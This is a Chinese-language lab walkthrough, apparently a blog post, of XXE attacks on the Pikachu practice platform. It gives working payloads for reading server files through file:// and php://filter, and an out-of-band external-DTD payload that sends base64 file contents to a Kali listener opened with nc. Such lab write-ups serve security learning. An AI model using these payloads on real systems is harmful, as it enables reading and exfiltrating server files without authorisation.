pikachu-xxe漏洞

查看回显:提交一个正常的xml数据

<?xml version = "1.0"?>
<!DOCTYPE note [ <!ENTITY xxe "彦祖你好"> ]>
<name>&xxe;</name>

payload中 &xxe; 是用来将xxe这个实体进行调用,xxe实体成功在前端回显

查看文件:读取服务器/本地文件(事先创建一个文本文件)

提交的payload如下利用file://协议就能看到服务器/主机上的该文件的文件内容

<?xml version = "1.0"?>
<!DOCTYPE ANY [ <!ENTITY xxe SYSTEM "file:///D://phpstudy_pro//WWW//target.txt"> ]>
<x>&xxe;</x>

查看源码:利用php://协议的filter过滤器以base64格式读取服务器/本地文件

<?xml version = "1.0"?>
<!DOCTYPE ANY [
    <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=D:/phpstudy_pro/WWW/target.php"> 
]>   
<ANY>&xxe;</ANY>

https://base64.us/  解码

DTD外部调用:

1.模拟文件准备 在D盘根目录新建一个66.txt 文件中随便输入内容

2.在www目录下新建一个my.dtd文件输入代码

文件在路径为"D:\phpstudy_pro\WWW\evil.dtd"

代码中指定的IP地址为kali虚拟机的8888端口

<!ENTITY % start "<!ENTITY &#x25; send SYSTEM 'http://192.168.87.128:8888/?%file;'>">
%start;

3、xml.txt文件的内容

其中指定的IP地址为自己本机的ip

<?xml version="1.0"?>
<!DOCTYPE message [    
<!ENTITY % remote SYSTEM "http://172.16.2.65/evil.dtd">      
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///D:/phpstudy_pro/WWW/66.txt">    %remote;    
%send;]>

4打开kali监听8886端口,命令为nc -lvvp 8888

5.提交代码后,kali会监听

6.解码后可查看内容

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值